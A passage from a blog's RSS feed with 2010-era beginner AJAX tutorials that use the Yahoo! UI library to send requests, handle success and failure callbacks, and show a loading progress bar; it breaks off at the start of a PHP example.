<p>Download the complete source code here if you want to take a closer look at everything:<br />
<a href="http://images.code-head.com/tutorials/ajax/sample-AJAX-XHR-website/">http://images.code-head.com/tutorials/ajax/sample-AJAX-XHR-website/sample-AJAX-XHR-website.zip</a></p>
<p>If you have questions or suggestions, feel free to reply to this thread.<br />
-Codehead</p>
<p><strong>Update:</strong></p>
<p>I should mention that it&#8217;s a long time that I moved on to use <a href="http://jquery.com/">jQuery</a> rather than yui and I think jQuery is much nicer and easier to use library. I will hopefully write some tutrials on jQuery.</p>
<p>If you don&#8217;t know jQuery yet, download it here and HAVE FUN FOREVER!<br />
<a href="http://jquery.com/">Download jQuery</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/ajax-beginner-ajax-tutorial-creating-a-simple-ajax-website-with-example/feed</wfw:commentRss>
		</item>
		<item>
		<title>AJAX - Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message</title>
		<link>http://blog.code-head.com/ajax-beginner-ajax-tutorial-display-a-progress-bar-or-a-loading-message</link>
		<comments>http://blog.code-head.com/ajax-beginner-ajax-tutorial-display-a-progress-bar-or-a-loading-message#comments</comments>
		<pubDate>Thu, 21 Jan 2010 21:01:39 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[AJAX]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[yui]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=758</guid>
		<description><![CDATA[We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…
AJAX - Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message
In the last AJAX tutorial I wrote about how to send requests to the server and receive the response,
in this [...]]]></description>
			<content:encoded><![CDATA[<p><small>We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…</small></p>
<h2>AJAX - Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message</h2>
<p>In the last AJAX tutorial I wrote about how to send requests to the server and receive the response,<br />
in this short AJAX tutorial I will show you how to show a progress bar to the user when your application is<br />
waiting for the server&#8217;s response, so your users will see something is actually happening <img src='http://blog.code-head.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>If you haven&#8217;t read the first AJAX tutorial, you&#8217;ll find it here:<br />
<a href="http://blog.code-head.com/ajax-beginner-ajax-tutorial">http://blog.code-head.com/ajax-beginner-ajax-tutorial</a><br />
It won&#8217;t take that long.</p>
<p>Here is the code that we have so far:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Beginner AJAX Tutorial - Progress Bar&lt;/title&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot; src=&quot;yahoo.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;event.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot;&gt;
		function success_handler(o) {
			document.getElementById('content').innerHTML = o.responseText;
		}
&nbsp;
		function failure_handler(o) {
			document.getElementById('content').innerHTML = 'Server or your connection is death';
		}
&nbsp;
		function send_request() {
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php', callback);
		}
&nbsp;
		function test_failure() {
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php', callback);
		}
	&lt;/script&gt;
&nbsp;
&lt;/head&gt;
&nbsp;
&lt;body&gt;
&lt;a href=&quot;javascript:send_request();&quot;&gt;Send Request&lt;/a&gt; | &lt;a href=&quot;javascript:test_failure();&quot;&gt;Fail a request&lt;/a&gt;
&lt;div id=&quot;content&quot;&gt;
&nbsp;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>To show a loading progress bar you need to get a progress bar image, you can get one by searching.</p>
<p>I will use this one:<br />
<img src="http://images.code-head.com/progress-bars/4.gif" alt="AJAX progress Bar" /></p>
<p>Let&#8217;s begin</p>
<p>First let&#8217;s make our code a little bit nicer and make a new function called, replace_html</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">		<span style="color: #003366; font-weight: bold;">function</span> replace_html<span style="color: #009900;">&#40;</span>id<span style="color: #339933;">,</span> content<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> content<span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span></pre></div></div>

<p>The way it works is that it receives two arguments:<br />
&#8216;id&#8217; is the ID of the container where you want to replace the content<br />
&#8216;content&#8217; is the new content to replace the old content <img src='http://blog.code-head.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Now let&#8217;s rewrite our success_handler and failure_handler to use this function:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">		<span style="color: #003366; font-weight: bold;">function</span> success_handler<span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			replace_html<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #339933;">,</span> o.<span style="color: #660066;">responseText</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #003366; font-weight: bold;">function</span> failure_handler<span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			replace_html<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'Server or your connection is death'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span></pre></div></div>

<p>In success_handler for example, we call replace_html(&#8217;content&#8217;, o.responseText); instead of directly<br />
replacing the content of our &#8216;content&#8217; DIV like: document.getElementById(&#8217;content&#8217;).innerHTML = o.responseText;</p>
<p>Why?</p>
<p>First, because we don&#8217;t need to write document.getElementById(&#8217;content&#8217;).innerHTML = &#8230; all over the place and<br />
we encapsulate this into replace_html function.</p>
<p>Second this will centralize our way of changing the content of a DIV, so if later for example we<br />
find a better way to replace a DIV&#8217;s content, then we will just change one function and we don&#8217;t need<br />
to go through and find all the lines like: document.getElementById(&#8217;content&#8217;).innerHTML = &#8230; and<br />
change them.</p>
<p>Third, suppose you find out that on one kind of browser innerHTML doesn&#8217;t work, then again you<br />
only need to change one function.</p>
<p>So far, all together we have this:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Beginner AJAX Tutorial - Progress Bar&lt;/title&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot; src=&quot;yahoo.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;event.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot;&gt;
		function success_handler(o) {
			replace_html('content', o.responseText);
		}
&nbsp;
		function failure_handler(o) {
			replace_html('content', 'Server or your connection is death');
		}
&nbsp;
		function replace_html(id, content) {
			document.getElementById(id).innerHTML = content;
		}
&nbsp;
		function send_request() {
			var callback = { success:success_handler, failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php', callback);
		}
&nbsp;
		function test_failure() {
			var callback = { success:success_handler, failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php', callback);
		}
	&lt;/script&gt;
&nbsp;
&lt;/head&gt;
&nbsp;
&lt;body&gt;
&lt;a href=&quot;javascript:send_request();&quot;&gt;Send Request&lt;/a&gt; | &lt;a href=&quot;javascript:test_failure();&quot;&gt;Fail a request&lt;/a&gt;
&lt;div id=&quot;content&quot;&gt;
&nbsp;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>For our progress bar to show up fast, we have to preload it first, here is a simple way of preloading our progress bar:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">		<span style="color: #003366; font-weight: bold;">var</span> progress_bar <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Image<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		progress_bar.<span style="color: #660066;">src</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'http://images.code-head.com/progress-bars/4.gif'</span><span style="color: #339933;">;</span></pre></div></div>

<p>This piece of JavaScript code will make an image instance and sets it&#8217;s source attribute to our progress bar, this is enough<br />
to force the browser to preload the progress bar in it&#8217;s cache.</p>
<p>To display this progress bar when we are waiting for the server&#8217;s response, let&#8217;s write another function show_progressbar</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">		<span style="color: #003366; font-weight: bold;">function</span> show_progressbar<span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			replace_html<span style="color: #009900;">&#40;</span>id<span style="color: #339933;">,</span> <span style="color: #3366CC;">'&lt;img src=&quot;http://images.code-head.com/progress-bars/4.gif&quot; border=&quot;0&quot; alt=&quot;Loading, please wait...&quot; /&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span></pre></div></div>

<p>This function receives the ID of the container which we want to show our progress bar in and uses our replace_html<br />
function to display the progress bar.<br />
It simply replaces the content of that particular container with this bit of HTML code:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">	&lt;img src=&quot;http://images.code-head.com/progress-bars/4.gif&quot; border=&quot;0&quot; alt=&quot;Loading, please wait...&quot; /&gt;</pre></div></div>

<p>Now we will have to change our send_request and test_failure to use this function and show a progress bar when they are<br />
starting to send a request:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">		<span style="color: #003366; font-weight: bold;">function</span> send_request<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			show_progressbar<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #003366; font-weight: bold;">var</span> callback <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> success<span style="color: #339933;">:</span>success_handler<span style="color: #339933;">,</span>	failure<span style="color: #339933;">:</span>failure_handler<span style="color: #339933;">,</span> timeout<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
			YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Connect</span>.<span style="color: #660066;">asyncRequest</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'GET'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php'</span><span style="color: #339933;">,</span> callback<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #003366; font-weight: bold;">function</span> test_failure<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			show_progressbar<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #003366; font-weight: bold;">var</span> callback <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> success<span style="color: #339933;">:</span>success_handler<span style="color: #339933;">,</span>	failure<span style="color: #339933;">:</span>failure_handler<span style="color: #339933;">,</span> timeout<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
			YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Connect</span>.<span style="color: #660066;">asyncRequest</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'GET'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php'</span><span style="color: #339933;">,</span> callback<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span></pre></div></div>

<p>They simply call show_progressbar with the ID of our content DIV and then send their request to the server.</p>
<p>All together we have this code:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Beginner AJAX Tutorial - Progress Bar&lt;/title&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot; src=&quot;yahoo.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;event.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot;&gt;
		function success_handler(o) {
			replace_html('content', o.responseText);
		}
&nbsp;
		function failure_handler(o) {
			replace_html('content', 'Server or your connection is death');
		}
&nbsp;
		function replace_html(id, content) {
			document.getElementById(id).innerHTML = content;
		}
&nbsp;
		function show_progressbar(id) {
			replace_html(id, '&lt;img src=&quot;http://images.code-head.com/progress-bars/4.gif&quot; border=&quot;0&quot; alt=&quot;Loading, please wait...&quot; /&gt;');
		}
&nbsp;
		function send_request() {
			show_progressbar('content');
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php', callback);
		}
&nbsp;
		function test_failure() {
			show_progressbar('content');
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php', callback);
		}
&nbsp;
		var progress_bar = new Image();
		progress_bar.src = 'http://images.code-head.com/progress-bars/4.gif';
	&lt;/script&gt;
&nbsp;
&lt;/head&gt;
&nbsp;
&lt;body&gt;
&lt;a href=&quot;javascript:send_request();&quot;&gt;Send Request&lt;/a&gt; | &lt;a href=&quot;javascript:test_failure();&quot;&gt;Fail a request&lt;/a&gt;
&lt;div id=&quot;content&quot;&gt;
&nbsp;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>Go ahead and try it here:<br />
<a hre="http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial-progress-bar.html">http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial-progress-bar.html</a></p>
<p>This is it for now, on the next AJAX tutorial we are going to make a little sample website with all of these:)<br />
Thanks,<br />
-Codehead</p>
<p><strong>Next: </strong> <a href="http://blog.code-head.com/ajax-beginner-ajax-tutorial-creating-a-simple-ajax-website-with-example">AJAX - Beginner AJAX Tutorial - Creating a simple AJAX website with example</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/ajax-beginner-ajax-tutorial-display-a-progress-bar-or-a-loading-message/feed</wfw:commentRss>
		</item>
		<item>
		<title>AJAX - Beginner AJAX Tutorial</title>
		<link>http://blog.code-head.com/ajax-beginner-ajax-tutorial</link>
		<comments>http://blog.code-head.com/ajax-beginner-ajax-tutorial#comments</comments>
		<pubDate>Thu, 21 Jan 2010 20:30:42 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[AJAX]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[yui]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=755</guid>
		<description><![CDATA[We are closing down our forums, it&#8217;s time to move on, but we are keeping some important threads, here are the AJAX tutorials&#8230;
AJAX - Beginner AJAX Tutorial
What you need to know
A basic knowledge of HTML, JavaScript and a server side language.
What is AJAX?
AJAX stands for Asynchronous JavaScript And XML.
XML?!
Don&#8217;t worry you don&#8217;t need to know [...]]]></description>
			<content:encoded><![CDATA[<p><small>We are closing down our forums, it&#8217;s time to move on, but we are keeping some important threads, here are the AJAX tutorials&#8230;</small></p>
<h2>AJAX - Beginner AJAX Tutorial</h2>
<p>What you need to know<br />
A basic knowledge of HTML, JavaScript and a server side language.</p>
<p>What is AJAX?<br />
AJAX stands for Asynchronous JavaScript And XML.</p>
<p>XML?!<br />
Don&#8217;t worry you don&#8217;t need to know XML, in fact we won&#8217;t even use XML to write web applications with AJAX.</p>
<p>What data type we will use you are going to see in later tutorials, but I assure you we will use<br />
something 100 times simpler.</p>
<p>Overview<br />
There are a few benefits you can gain by using this technique, one is than you won&#8217;t need to send the common parts of the page to the browser whenever a user views a page on your website.</p>
<p>Since this is a beginner AJAX tutorial let&#8217;s make a very simple &#8216;Hello World&#8217; AJAX application.</p>
<p>Step 1:<br />
We are going to use Yahoo! UI library or &#8216;yui&#8217;.<br />
The benefit of using yui is that you don&#8217;t need to worry about browser compatibility and also many developers are working on it to make it even better every day.</p>
<p>So go ahead and download the latest version here:<br />
<a href="http://developer.yahoo.com/yui/download/">http://developer.yahoo.com/yui/download/</a></p>
<p>Step 2:<br />
Extract the files and in the &#8216;build&#8217; folder you will see many folders containing different parts of yui.</p>
<p>For this tutorial we only need yahoo.js, event.js and connection.js<br />
So go ahead and make an HTML file and call it ajax.html (or whatever you want).</p>
<p>Now paste this code into your HTML file:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Beginner AJAX Tutorial&lt;/title&gt;
&nbsp;
&lt;script type=&quot;text/javascript&quot; src=&quot;edit this path to yui/yahoo.js&quot;&gt; &lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;edit this path to yui/event.js&quot;&gt; &lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;edit this path to yui/connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;content&quot;&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>2 notes:<br />
1. You must edit the path to yui library and be sure the source attribute of your script tags point to the right files.<br />
2. I also added a div to the page so we can display the server&#8217;s response in it.</p>
<p>Now we included the portions of yui that we need in our page so let&#8217;s write some code.</p>
<p>Step 3:<br />
Now we need to write some code to use yui&#8217;s connection object to send requests to the server.</p>
<p>To do this we need to write 2 JavaScript functions to handle 2 situations.<br />
1. Success.<br />
2. Failure, most likely the server didn&#8217;t respond.</p>
<p>So lets write our functions, first success:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> success_handler<span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> o.<span style="color: #660066;">responseText</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>The only thing this function does is that it sets the innerHTML of our content container.</p>
<p>2 notes:<br />
1. innerHTML is a non standard attribute that almost all the browsers support.<br />
2. o is an object yui will pass to your functions.</p>
<p>Now lets make our failure handler:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> failure_handler<span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'Server or your connection is death'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Here again we change the innerHTML with an appropriate error message.</p>
<p>So all together we have:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Beginner AJAX Tutorial&lt;/title&gt;
&nbsp;
&lt;script type=&quot;text/javascript&quot; src=&quot;yahoo.js&quot;&gt; &lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;event.js&quot;&gt; &lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
&lt;script type=&quot;text/javascript&quot;&gt;
function success_handler(o) {
document.getElementById('content').innerHTML = o.responseText;
}
&nbsp;
function failure_handler(o) {
document.getElementById('content').innerHTML = 'Server or your connection is dead';
} 
&lt;/script&gt;
&nbsp;
&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;content&quot;&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>Let&#8217;s go ahead and write two more functions, one for sending a request to the server and one for trying the failure situation.</p>
<p>Here we go:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> send_request<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> callback <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> success<span style="color: #339933;">:</span>success_handler<span style="color: #339933;">,</span> failure<span style="color: #339933;">:</span>failure_handler<span style="color: #339933;">,</span> timeout<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Connect</span>.<span style="color: #660066;">asyncRequest</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'GET'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php'</span><span style="color: #339933;">,</span> callback<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>This is a simple function that sends an asynchronous request to the server.</p>
<p>Let&#8217;s take a look at it in more detail:</p>
<p>1. We defined a callback object which sets our success_handler and failure_handler functions for success and failure situations respectively<br />
and also we define a timeout for the connection. This timeout is in milliseconds, so we are setting it to 10 seconds.<br />
This means if we receive a response within 10 seconds then yui calls our success_handler function, otherwise it calls failure_handler.</p>
<p>2. The second line is the actual request. asyncRequest method will handle everything and calls our callback functions.<br />
We are passing 3 parameters.</p>
<p>First parameter is the type of request, which is GET here because we are not sending any form data to the server. (I will show you POST requests in later tutorials)</p>
<p>Second parameter is the URL which we want to send the request to.</p>
<p>Third parameter is our callback object.</p>
<p>Now let&#8217;s make another function to test the failure situation:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> test_failure<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> callback <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> success<span style="color: #339933;">:</span>success_handler<span style="color: #339933;">,</span> failure<span style="color: #339933;">:</span>failure_handler<span style="color: #339933;">,</span> timeout<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Connect</span>.<span style="color: #660066;">asyncRequest</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'GET'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php'</span><span style="color: #339933;">,</span> callback<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>This function is the same except it sends a request to a non-existing file, so it&#8217;s going to fail.</p>
<p>So far we have this:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Beginner AJAX Tutorial&lt;/title&gt;
&nbsp;
&lt;script type=&quot;text/javascript&quot; src=&quot;yahoo.js&quot;&gt; &lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;event.js&quot;&gt; &lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
<span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #003366; font-weight: bold;">function</span> success_handler<span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> o.<span style="color: #660066;">responseText</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> failure_handler<span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'Server or your connection is death'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> send_request<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> callback <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> success<span style="color: #339933;">:</span>success_handler<span style="color: #339933;">,</span> failure<span style="color: #339933;">:</span>failure_handler<span style="color: #339933;">,</span> timeout<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Connect</span>.<span style="color: #660066;">asyncRequest</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'GET'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php'</span><span style="color: #339933;">,</span> callback<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> test_failure<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> callback <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> success<span style="color: #339933;">:</span>success_handler<span style="color: #339933;">,</span> failure<span style="color: #339933;">:</span>failure_handler<span style="color: #339933;">,</span> timeout<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Connect</span>.<span style="color: #660066;">asyncRequest</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'GET'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php'</span><span style="color: #339933;">,</span> callback<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span>
&nbsp;
&lt;/head&gt;
&lt;body&gt;
&lt;a href=&quot;javascript:send_request();&quot;&gt;Send Request&lt;/a&gt; | &lt;a href=&quot;javascript:test_failure();&quot;&gt;Fail a request&lt;/a&gt;
&lt;div id=&quot;content&quot;&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>Note: I added the line:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;a href=&quot;javascript:send_request();&quot;&gt;Send Request&lt;/a&gt; | &lt;a href=&quot;javascript:test_failure();&quot;&gt;Fail a request&lt;/a&gt;</pre></div></div>

<p>To be able to test our little application.</p>
<p>Go ahead and try it here:</p>
<p><a href="http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.html">http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.html</a></p>
<p>And the PHP file is only 3 lines:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
